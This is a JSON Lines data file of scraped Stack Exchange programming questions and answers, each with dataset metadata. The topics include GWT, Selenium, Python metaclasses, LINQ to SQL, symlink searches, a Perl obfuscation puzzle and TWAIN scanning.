{"id": "hf_60b19d871d2f", "question": "<p><a href=\"http://en.wikipedia.org/wiki/Progressive_enhancement\" rel=\"nofollow noreferrer\">Progressive Enhancement</a> is a web development methodology that not only allows greater portability and accessibility but in my opinion, makes the development process easier.</p>\n\n<p>What I want is to know what the rest of the community think of this approach.</p>\n\n<p>In particular: What do you believe is the minimum set of technologies that a web application should support?</p>\n", "question_body": "", "answer": "I personally block referrers, cookies and JavaScript by default and re-enable them temporarily or permanently on a site-by-site basis.\nI'll forgive a web site for not working without cookies for signed-in users, however I get quite upset when they won't work without JavaScript if it's being used for trivial purposes.\nMinimum requirements: HTML with basic structural elements + links, HTML forms + maybe cookies for applications.\nSite could be run in a vt100, a \"normal\" browser, a phone, a screen reader...\n-z", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:18.282902"}
{"id": "hf_d9837593df8c", "question": "<p>I'm at the beginning/middle of a project that we chose to implement using GWT. Has anyone encountered any major pitfalls in using GWT (and GWT-EXT) that were unable to be overcome? How about from a performance perspective?</p>\n\n<p>A couple things that we've seen/heard already include:</p>\n\n<ul>\n<li>Google not being able to index content</li>\n<li>CSS and styling in general seems to be a bit flaky</li>\n</ul>\n\n<p>Looking for any additional feedback on these items as well. Thanks!</p>\n", "question_body": "", "answer": "No major pitfalls that I haven't been able to overcome easily. Use hosted mode heavily. \nAs you are using GWT-ext you will almost never need to touch CSS yourself unless you want to tweak the out of the box look.\nMy recommendation is to use a GWT \"native\" widget over a library one where they are close in features.\nRe search engine indexing: yes the site will not have navigable URLs normally (unless you are only adding widgets to elements of a regular web site). You can do history back/forward functionality though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:18.423795"}
{"id": "hf_bf6882b50697", "question": "<p>I just wanted some opinions from people that have run Selenium (<a href=\"http://selenium.openqa.org\" rel=\"nofollow noreferrer\">http://selenium.openqa.org</a>) I have had a lot of experience with WaTiN and even wrote a recording suite for it. I had it producing some well-structured code but being only maintained by me it seems my company all but abandoned it. </p>\n\n<p>If you have run selenium have you had a lot of success? </p>\n\n<p>I will be using .NET 3.5, does Selenium work well with it? </p>\n\n<p>Is the code produced clean or simply a list of all the interaction? (<a href=\"http://blogs.conchango.com/richardgriffin/archive/2006/11/14/Testing-Design-Pattern-for-using-WATiR_2F00_N.aspx\" rel=\"nofollow noreferrer\">http://blogs.conchango.com/richardgriffin/archive/2006/11/14/Testing-Design-Pattern-for-using-WATiR_2F00_N.aspx</a>) </p>\n\n<p>How well does the distributed testing suite fair?</p>\n\n<p>Any other gripes or compliments on the system would be greatly appreciated!</p>\n", "question_body": "", "answer": "If you are using\nSelenium IDE\nto generate code, then you just get a list of every action that selenium will execute. To me, Selenium IDE is a good way to start or do a fast \"try and see\" test. But, when you think about maintainability and more readable code, you must write your own code.\nA good way to achieve good selenium code is to use the\nPage Object Pattern\nin a way that the code represents your navigation flow. Here is a good example that I see in\nCoding Dojo Floripa\n(from Brazil):\n```\n```\npublic class GoogleTest {\n\n    private Selenium selenium;\n\n    @Before\n    public void setUp() throws Exception {\n            selenium = new DefaultSelenium(\"localhost\", 4444, \"*firefox\",\n                            \"http://www.google.com/webhp?hl=en\");\n            selenium.start();\n    }\n\n    @Test\n    public void codingDojoShouldBeInFirstPageOfResults() {\n            GoogleHomePage home = new GoogleHomePage(selenium);\n            GoogleSearchResults searchResults = home.searchFor(\"coding dojo\");\n            String firstEntry = searchResults.getResult(0);\n            assertEquals(\"Coding Dojo Wiki: FrontPage\", firstEntry);\n    }\n\n    @After\n    public void tearDown() throws Exception {\n            selenium.stop();\n    }\n\n}\n\npublic class GoogleHomePage {\n\n    private final Selenium selenium;\n\n    public GoogleHomePage(Selenium selenium) {\n            this.selenium = selenium;\n            this.selenium.open(\"http://www.google.com/webhp?hl=en\");\n            if (!\"Google\".equals(selenium.getTitle())) {\n                    throw new IllegalStateException(\"Not the Google Home Page\");\n            }\n    }\n\n    public GoogleSearchResults searchFor(String string) {\n            selenium.type(\"q\", string);\n            selenium.click(\"btnG\");\n            selenium.waitForPageToLoad(\"5000\");\n            return new GoogleSearchResults(string, selenium);\n    }\n}\n\npublic class GoogleSearchResults {\n\n    private final Selenium selenium;\n\n    public GoogleSearchResults(String string, Selenium selenium) {\n            this.selenium = selenium;\n            if (!(string + \" - Google Search\").equals(selenium.getTitle())) {\n                    throw new IllegalStateException(\n                                    \"This is not the Google Results Page\");\n            }\n    }\n\n    public String getResult(int i) {\n            String nameXPath = \"xpath=id('res')/div[1]/div[\" + (i + 1) + \"]/h2/a\";\n            return selenium.getText(nameXPath);\n    }\n}\n```\n```\nHope that Helps", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:18.457308"}
{"id": "hf_8de4fbfafcd6", "question": "<p>I have been given a set of COBOL DAT, IDX and KEY files and I need to read the data in them and export it into Access, XLS, CSV, etc. I do not know the version, vendor of the COBOL code as I only have the windows executable that created the files.</p>\n\n<p>I have tried Easysoft and Parkway ODBC drivers but I have not been successful in reading the data from the files.</p>\n\n<p>I do not have access to the source code as the company that was distributing this product shut down.</p>\n", "question_body": "", "answer": "A few possibilities.\n1/ See if you can find the names of the people that worked for the company.  They may be helpful.\n2/ Open the DAT file in a text editor.  The data may be decodable from that.  If the basic format can be discerned, quick'n'dirty code can be written to extract it.\n3/ Open up the executable in an editor, there may be strings in there that indicate which compiler was used, then you can search for info on its file formats.  If it's a DOS application, there's a good chance it was either Microsoft or Fujitsu COBOL.\n4/ Consider placing job requests on work sites like elance or rentacoder; I don't think there's a cost if the work can't be done successfully.\n5/ Hire someone to examine it and advise on the likelihood of recovery.\n6/ Get a screen dump of the record contents for every active record and re-construct it from that.\nSome of these are pretty hard so your mileage may vary.\nGood luck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:18.492509"}
{"id": "hf_63fdc971e5cc", "question": "<p>So I was reading these Asp.Net <a href=\"http://www.hanselman.com/blog/ASPNETInterviewQuestions.aspx\" rel=\"nofollow noreferrer\">interview questions</a> at Scott Hanselman's blog and I came across this question. Can anyone shed some light of what he's talking about.</p>\n", "question_body": "", "answer": "I think what he's asking here is how you wire up javascript functions to work hand in hand with your ASP.NET postback functionality.\ni.e. How can I trigger a control's event using my own JavaScript?\nThe ASP.NET class library contains a\n```\nClientScript\n```\nclass - Found in the\n```\nSystem.Web.UI.Page\n```\nclass - which enables you to programmatically add JavaScript to your ASP.NET page.\nThis contains a method called\n```\nGetPostBackEventReference\n```\nwhich will generate the\n```\n__doPostBack\n```\nscript ASP.NET utilises to trigger events wired up to your web controls.\nHope that makes sense", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:18.538350"}
{"id": "hf_3a661367d8f2", "question": "<p>What are metaclasses? What are they used for?</p>\n", "question_body": "", "answer": "Note, this answer is for Python 2.x as it was written in 2008, metaclasses are slightly different in 3.x.\nMetaclasses are the secret sauce that make 'class' work. The default metaclass for a new style object is called 'type'.\n```\n```\nclass type(object)\n  |  type(object) -> the object's type\n  |  type(name, bases, dict) -> a new type\n```\n```\nMetaclasses take 3 args. '\nname\n', '\nbases\n' and '\ndict\n'\nHere is where the secret starts. Look for where name, bases and the dict come from in this example class definition.\n```\n```\nclass ThisIsTheName(Bases, Are, Here):\n    All_the_code_here\n    def doesIs(create, a):\n        dict\n```\n```\nLets define a metaclass that will demonstrate how '\nclass:\n' calls it.\n```\n```\ndef test_metaclass(name, bases, dict):\n    print 'The Class Name is', name\n    print 'The Class Bases are', bases\n    print 'The dict has', len(dict), 'elems, the keys are', dict.keys()\n\n    return \"yellow\"\n\nclass TestName(object, None, int, 1):\n    __metaclass__ = test_metaclass\n    foo = 1\n    def baz(self, arr):\n        pass\n\nprint 'TestName = ', repr(TestName)\n\n# output => \nThe Class Name is TestName\nThe Class Bases are (<type 'object'>, None, <type 'int'>, 1)\nThe dict has 4 elems, the keys are ['baz', '__module__', 'foo', '__metaclass__']\nTestName =  'yellow'\n```\n```\nAnd now, an example that actually means something, this will automatically make the variables in the list \"attributes\" set on the class, and set to None.\n```\n```\ndef init_attributes(name, bases, dict):\n    if 'attributes' in dict:\n        for attr in dict['attributes']:\n            dict[attr] = None\n\n    return type(name, bases, dict)\n\nclass Initialised(object):\n    __metaclass__ = init_attributes\n    attributes = ['foo', 'bar', 'baz']\n\nprint 'foo =>', Initialised.foo\n# output=>\nfoo => None\n```\n```\nNote that the magic behaviour that\n```\nInitialised\n```\ngains by having the metaclass\n```\ninit_attributes\n```\nis not passed onto a subclass of\n```\nInitialised\n```\n.\nHere is an even more concrete example, showing how you can subclass 'type' to make a metaclass that performs an action when the class is created. This is quite tricky:\n```\n```\nclass MetaSingleton(type):\n    instance = None\n    def __call__(cls, *args, **kw):\n        if cls.instance is None:\n            cls.instance = super(MetaSingleton, cls).__call__(*args, **kw)\n        return cls.instance\n\nclass Foo(object):\n    __metaclass__ = MetaSingleton\n\na = Foo()\nb = Foo()\nassert a is b\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:18.626199"}
{"id": "hf_fc476c282476", "question": "<p>When logging with Log4Net it's very easy to put class that called the log into the log file.  I've found in the past that this makes it very easy to trace through the code and see the flow through the classes.  In Log4Net I use the %logger property in the conversion pattern like so: </p>\n\n<pre><code>&lt;conversionPattern value=\"%date [%thread] %-5level %logger [%property{NDC}] - %message%newline\" /&gt;\n</code></pre>\n\n<p>And this gives me the output I want: </p>\n\n<p><code>2008-09-19 15:40:26,906 [3132] ERROR &lt;b&gt;Log4NetTechDemo.Tester&lt;/b&gt; [(null)] - Failed method</code></p>\n\n<p>You can see from the output that the class that has called the log is Log4NetTechDemo.Tester, so I can trace the error back to that class quite easily.</p>\n\n<p>In the Logging Applicaton Block I cannot figure out how to do this with a simple log call.  Does anyone know how it can be done?  If so, an example or steps to do so would be very helpful.</p>\n", "question_body": "", "answer": "We havn't found an easy way without hitting the StackTrace.  If it's an exception, we just grab from that:\n```\n```\nStackTrace trace = new StackTrace(ex, true);\n StackFrame frame = trace.GetFrame(0);\n```\n```\nFor chatty items, we just write the string.  We have a snippet that's able to grab the class name on insertion.  We also declare the const string with the class name.\nNot pretty, but it's the best we've found.  I hope someone else has a bettwe answer in this thread  :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:18.651197"}
{"id": "hf_2585ddd75269", "question": "<p>I'd like to know if there's an easier way to insert a record if it doesn't already exist in a table. I'm still trying to build my LINQ to SQL skills. </p>\n\n<p>Here's what I've got, but it seems like there should be an easier way.</p>\n\n<pre><code>public static TEntity InsertIfNotExists&lt;TEntity&gt;\n(\n    DataContext db,\n    Table&lt;TEntity&gt; table,\n    Func&lt;TEntity,bool&gt; where,\n    TEntity record\n)\n    where TEntity : class\n{\n    TEntity existing = table.SingleOrDefault&lt;TEntity&gt;(where);\n\n    if (existing != null)\n    {\n        return existing; \n    }\n    else\n    {\n        table.InsertOnSubmit(record);\n\n        // Can't use table.Context.SubmitChanges()\n        // 'cause it's read-only\n\n        db.SubmitChanges();\n    }\n\n    return record;\n}\n</code></pre>\n", "question_body": "", "answer": "```\n```\npublic static void InsertIfNotExists<TEntity>\n                    (this Table<TEntity> table,\n                     TEntity entity,\n                     Expression<Func<TEntity,bool>> predicate)\n    where TEntity : class\n{ \n    if (!table.Any(predicate)) \n    {\n        table.InsertOnSubmit(record);\n        table.Context.SubmitChanges();\n    }\n }\n\ntable.InsertIfNotExists(entity, e=>e.BooleanProperty);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:18.734562"}
{"id": "hf_1edccd2c3ee4", "question": "<p>Which CMS are you using in Java and what is your experience with it (in terms of extensibility, usage comfort, framework API, memory usage, performance etc.). I am looking for suggestions.</p>\n\n<p>Specifically any one that supports a search engine(probably lucene or similar).</p>\n", "question_body": "", "answer": "We are using\nopencms\n.\nI haven't tried to extend it beyond changing page templates (writing JSPs) but where usage is concerned it gets the job done, albeit the feeling you get is that you fight the system all the way through.\nMemory consumption on the JVM running opencms is right now 161 Mb, the JVM running since January 2008. This is on a low traffic site serving around 6000 hits per month with an average traffic of 1800 Mb per month.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:18.794232"}
{"id": "hf_fbf41d7bca3a", "question": "<pre><code>sub foo {[$#{$_[!$||$|]}*@{$_[!!$_^!$_]}?@{$_[!$..!!$.]}[$_[@--@+]%\n@{$_[$==~/(?=)//!$`]}..$#{$_[$??!!$?:!$?]},($)?!$):!!$))..$_[$--$-]%@{\n$_[$]/$]]}-(!!$++!$+)]:@{$_[!!$^^^!$^^]}]}\n</code></pre>\n\n<p>update: I thought the word \"puzzle\" would imply this, but: <em>I</em> know what it does - I wrote it.  If the puzzle doesn't interest you, please don't waste any time on it.</p>\n", "question_body": "", "answer": "It takes two arrayrefs and returns a new arrayref with the contents of the second array rearranged such that the second part comes before the first part, split at a point based on the memory location of the first array. When the second array is empty or contains one item, just returns a copy of the second array. Equivalent to the following:\n```\n```\nsub foo {\n    my ($list1, $list2) = @_;\n    my @output;\n    if (@$list2 > 0) {\n        my $split = $list1 % @$list2;\n        @output = @$list2[$split .. $#$list2, 0 .. ($split - 1)];\n    } else {\n        @output = @$list2;\n    }\n    return \\@output;\n}\n```\n```\n```\n$list1 % @$list2\n```\nessentially picks a random place to split the array, based on\n```\n$list\n```\nwhich evaluates to the memory address of $list when evaluated in a numeric context.\nThe original mostly uses a lot of tautologies involving punctuation variables to obfuscate. e.g.\n```\n!$| | $|\n```\nis always 1\n```\n@- - @+\n```\nis always 0\nUpdated to note that\n```\nperltidy\n```\nwas very helpful deciphering here, but it choked on\n```\n!!$^^^!$^^\n```\n, which it reformats to\n```\n!!$^ ^ ^ !$^ ^\n```\n, which is invalid Perl; it should be\n```\n!!$^^ ^ !$^^\n```\n. This might be the cause of RWendi's compile error.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:18.829717"}
{"id": "hf_3ed5b53ae4f8", "question": "<p>I was happily using Eclipse 3.2 (or as happy as one can be using Eclipse) when for a forgotten reason I decided to upgrade to 3.4. I'm primarily using PyDev, Aptana, and Subclipse, very little Java development.</p>\n\n<p>I've noticed 3.4 tends to really give my laptop a hernia compared to 3.2 (vista, core2duo, 2G). Is memory usage on 3.4 actually higher than on 3.2, and if so is there a way to reduce it?</p>\n\n<p>EDIT: I tried disabling plugins (I didn't have much enabled anyway) and used the jvm monitor; the latter was interesting but I couldn't figure out how to use the info in any practical way. I'm still not able to reduce its memory footprint. I've also noticed every once in a while Eclipse just hangs for ~30 seconds, then magically comes back.</p>\n", "question_body": "", "answer": "Yes memory usage can get real high and you might run into problems with your JVM, as the default setting is a bit to low.\nConsider using this startup parameters when running eclipse:\n```\n```\n-vmargs -XX:MaxPermSize=1024M -Xms256M -Xmx1024M\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:18.881240"}
{"id": "hf_989fa468a32c", "question": "<p>I have a folder on my server to which I had a number of symbolic links pointing. I've since created a new folder and I want to change all those symbolic links to point to the new folder. I'd considered replacing the original folder with a symlink to the new folder, but it seems that if I continued with that practice it could get very messy very fast.</p>\n\n<p>What I've been doing is manually changing the symlinks to point to the new folder, but I may have missed a couple. </p>\n\n<p>Is there a way to check if there are any symlinks pointing to a particular folder?</p>\n", "question_body": "", "answer": "I'd use the find command.\n```\n```\nfind . -lname /particular/folder\n```\n```\nThat will recursively search the current directory for symlinks to\n```\n/particular/folder\n```\n. Note that it will only find absolute symlinks. A similar command can be used to search for all symlinks pointing at objects called \"folder\":\n```\n```\nfind . -lname '*folder'\n```\n```\nFrom there you would need to weed out any false positives.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:18.904865"}
{"id": "hf_259fc8cbb43f", "question": "<p>I just installed Glassfish V2 on my local machine just to play around with it.</p>\n\n<p>I was wondering if there is a way to retrieve a param passed in by the GET HTTP method.</p>\n\n<p>For instance,</p>\n\n<pre><code>http://localhost:8080/HelloWorld/resources/helloWorld?name=ABC\n</code></pre>\n\n<p>How do I retrieve the \"name\" param in my Java code?</p>\n", "question_body": "", "answer": "Like this:\n```\n```\n@Path(\"/helloWorld\")\n@Consumes({\"application/xml\", \"application/json\"})\n@Produces({\"application/xml\", \"application/json\"})\n@Singleton\npublic class MyService {\n    @GET\n    public String getRequest(@QueryParam(\"name\") String name) {\n            return \"Name was \" + name;\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:18.998915"}
{"id": "hf_d93e8ee174c2", "question": "<p>Whilst refactoring some old code I realised that a particular header file was full of function declarations for functions long since removed from the .cpp file.  Does anyone know of a tool that could find (and strip) these automatically?</p>\n", "question_body": "", "answer": "If you index to code with Doxygen you can see from where is each function referenced. However, you would have to browse through each class (1 HTML page per class) and scan for those that don't have anything pointing to them.\nAlternatively, you could use ctags to generate list of all functions in the code, and then use objdump or some similar tool to get list of all function in .o files - and then compare those lists. However, this can be problematic due to name mangling.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:19.033199"}
{"id": "hf_71474da072e1", "question": "<p>I'm using C# in .Net 2.0, and I want to read in a PNG image file and check for the first row and first column that has non-transparent pixels. </p>\n\n<p>What assembly and/or class should I use?</p>\n", "question_body": "", "answer": "Of course I googled already and found the PngBitmapDecoder class, but it doesn't seem to be available in .Net 2.0?\nhttp://msdn.microsoft.com/en-us/library/system.windows.media.imaging.pngbitmapdecoder.aspx\nThe above link mentions it's in the PresentationCore assembly which I don't seem to have included with .Net 2.0", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:19.129164"}
{"id": "hf_750d0bd214d3", "question": "<p>AFAIK one of the objectives of Stack Overflow is to make sure anyone can come here and find <b>good</b> answers to her Perl related questions. Certainly beginners would ask what is the <a href=\"https://stackoverflow.com/questions/70573/best-online-%0Asource-to-learn-perl\">best online source to learn Perl</a> but others might just want to ask a question.</p>\n\n<p>Probably the friendliest place is the <a href=\"http://perlmonks.org/\" rel=\"nofollow noreferrer\">Monastery of Perl Monks</a>. It is a web site with a rating system similar to but more simple than Stack Overflow. You can find lots of good answers there and if you don't find an answer you can always ask.</p>\n\n<p>The other big resource would be the mailing list of your local <a href=\"http://www.pm.org/\" rel=\"nofollow noreferrer\">Perl Mongers</a> group.</p>\n\n<p>Where do <b>you</b> go when you are looking for an answer to a Perl related question?</p>\n", "question_body": "", "answer": "It's worth noting that\nhttp://perlmonks.org\n, in addition to the fora, has the Chatterbox, where simple questions can be answered immediately in conversation with other users.\nIt requires\nsetting up an account\nand\nlogging in\nbefore\nusing the Chatterbox\n, though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:19.153231"}
{"id": "hf_e556b496f88a", "question": "<p>Has any one done this before? It would seem to me that there should be a webservice but i can't find one.  I am writing an application for personal use that would just show basic info from IMDB.</p>\n", "question_body": "", "answer": "There is no webservice available.\nBut there are enough html scrapers written in every language to suit your needs!\nI've used the\n.NET 3.5 Imdb Services opensource project\nin a few personal projects.\n1 minute google results:\nPerl:\nIMDB-Film\nRuby:\nlibimdb-ruby\nPython:\nIMDbPY", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:19.195992"}
{"id": "hf_f9d7195b3cc4", "question": "<p>I'm using the .NET TWAIN code from <a href=\"http://www.codeproject.com/KB/dotnet/twaindotnet.aspx?msg=1007385#xx1007385xx\" rel=\"nofollow noreferrer\">http://www.codeproject.com/KB/dotnet/twaindotnet.aspx?msg=1007385#xx1007385xx</a> in my application. \nWhen I try to scan an image when the scanner is not plugged in, the application freezes.</p>\n\n<p>How can I check if the device is plugged in, using the TWAIN driver?</p>\n", "question_body": "", "answer": "I started of with the same source code that you downloaded from CodeProject, but moved most of the code in MainFrame.cs that initiates the scanning to a Scanner class.  In order to check for scan errors I call the following method in stead of calling Twain.Acquire directly:\n```\n```\nenum AcquireResult\n{\n    OK = 0,\n    InitFailed = 1,\n    DeviceIDFailed = 2,\n    CapabilityFailed = 3,\n    UserInterfaceError = 4\n}\nprivate void StartScan()\n{\n    if (!_msgFilter)\n    {\n        _parent.Enabled = false;\n        _msgFilter = true;\n        Application.AddMessageFilter(this);\n    }\n    AcquireResult ar = _twain.Acquire();\n    if (ar != AcquireResult.OK)\n    {\n        EndingScan();\n        switch (ar)\n        {\n            case AcquireResult.CapabilityFailed:\n                throw new Exception(\"Scanner capability setup failed\");\n            case AcquireResult.DeviceIDFailed:\n                throw new Exception(\"Unable to determine device identity\");\n            case AcquireResult.InitFailed:\n                throw new Exception(\"Scanner initialisation failed\");\n            case AcquireResult.UserInterfaceError:\n                throw new Exception(\"Error with the Twain user interface\");\n            default:\n                throw new Exception(\"Document scanning failed\");\n        }\n    }\n}\n```\n```\nI usually initiate the scan event on a seperate thread in order for the app not to freeze while scanning is in progress.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:19.219452"}
{"id": "hf_5dd65db071d2", "question": "<p>Can somebody in SO please provide me with a list of resources about Enterprise Mashups and technologies related to SharePoint platform?</p>\n\n<p><strong>Update</strong> (as per suggestion of @Spoon16 in the comments):-\nThe mashup application may typically retrieve a list of contacts from a SharePoint site and display the address of a selected contact person on a map (again maybe Google maps).</p>\n", "question_body": "", "answer": "There are a number of different ways to pull external information into SharePoint.\nFor mashing up SharePoint data in external applications:\nWeb Services\n; great web services coverage for the underlying API will allow you to build external mashups (like the one you mention in your question comment).  Specifically take a look at the\nLists Service\n.\nFor mashing up external data sources inside of SharePoint:\nBusiness Data Catalog\n; when you have the enterprise version of Microsoft Office SharePoint Portal server you can use the Business Data Catalog to interact with a very wide variety of external datasources in a read/write fashion.  Works with relational databases and web services.\nEnterprise Search\n; the indexing capabilities provided by SharePoint's Enterprise search technology are extensive\nRSS Web Part\n; allows you to consume and apply XSLT transform to any RSS feed and output the result on any SharePoint page\nPage Viewer Web Part\n; allows an iframe to be embedded on any page, provides an easy mechanism of integrating external applications into the SharePoint environment\nSharePoint has an\nextensive development framework\nthat enables you to leverage the full capabilities of the .NET framework to make your wildest mashup dreams come true.  You can use even add additional services to SharePoint that expose the underlying data in custom ways (not covered by the Out of the Box web services) if you like.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:19.243365"}
{"id": "hf_6d389fe3ef54", "question": "<p>Imagine I have an function which goes through one million/billion strings and checks smth in them.</p>\n\n<p>f.ex:</p>\n\n<pre><code>foreach (String item in ListOfStrings)\n{\n    result.add(CalculateSmth(item));\n}\n</code></pre>\n\n<p>it consumes lot's of time, because CalculateSmth is very time consuming function.</p>\n\n<p>I want to ask: how to integrate multithreading in this kinda process?</p>\n\n<p>f.ex: I want to fire-up 5 threads and each of them returns some results, and thats goes-on till the list has items.</p>\n\n<p>Maybe anyone can show some examples or articles.. </p>\n\n<p>Forgot to mention I need it in .NET 2.0</p>\n", "question_body": "", "answer": "You could try the\nParallel extensions\n(part of .NET 4.0)\nThese allow you to write something like:\n```\n```\nParallel.Foreach (ListOfStrings, (item) => \n    result.add(CalculateSmth(item));\n);\n```\n```\nOf course result.add would need to be thread safe.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:19.267629"}
{"id": "hf_3be8fa8e2308", "question": "<p>I have a large source repository split across multiple projects. I would like to produce a report about the health of the source code, identifying problem areas that need to be addressed.</p>\n\n<p>Specifically, I'd like to call out routines with a high cyclomatic complexity, identify repetition, and perhaps run some lint-like static analysis to spot suspicious (and thus likely erroneous) constructs.</p>\n\n<p>How might I go about constructing such a report?</p>\n", "question_body": "", "answer": "For static analysis there is\npylint\nand\npychecker\n. Personally I use pylint as it seems to be more comprehensive than pychecker.\nFor cyclomatic complexity you can try\nthis perl program\n, or this\narticle\nwhich introduces a python program to do the same", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:19.302499"}
{"id": "hf_bad69d1c8783", "question": "<p>I'm facing a problem on the Win32 API. I have a program that, when it handles <code>WM_PAINT</code> messages, it calls <code>BeginPaint</code> to clip the region and validate the update region, but the <code>BeginPaint</code> function is always generating a <code>WM_NCPAINT</code> message with the same update region, even if the touched part that needs repainting is only inside the client region. </p>\n\n<p>Do anyone has any clue why this is happening? It's on child windows with the <code>WS_CHILD</code> style.</p>\n", "question_body": "", "answer": "I guess the\n```\nWM_NCPAINT\n```\nmessage is always sent with the assumption that the border needs to be repainted as well!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:19.325628"}
{"id": "hf_d3d8e46bb298", "question": "<p>I have two webapplication, one is a simple authenticationsite which can authenticate the logged in user and <strong>redirects</strong> him then to another site.</p>\n\n<p>Therefore I have to pass ther userId (GUID) to the second application. Currently this is done via the URL but i would like to hide this id.</p>\n\n<p>Has anybody an idea how to do this properly?</p>\n\n<p>[EDIT]: I can't use the Session because of the ApplicationBoundaries (2 different Servers)</p>\n", "question_body": "", "answer": "Pass the GUID through a\nsession\n, best way.\nhttp://www.w3schools.com/ASP/asp_sessions.asp\nOR, since it's 2 different servers, pass the information by POST method:\nhttp://www.w3schools.com/aspnet/aspnet_forms.asp\nThe other possibility is to store the session state in a database on the local server, and remotely access that database from the other server to see if the user has successfully logged in and within session timelimit.\nWith that in mind, you can do the entire authentication remotely as well.  Remotely connect to the local database from the remote server and check the login credentials from there...that way you will be able to store the session and/or cookie on the remote server.\nI would recommend AGAINST the hidden field proposition\n, as it completely counteracts what you are trying to do!  You are trying to hide the GUID in the URL but posting the same information in your HTML code!  This is not the way to do it.\nBest choice is the database option, or if not possible, then use HTTP POST.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:19.434615"}
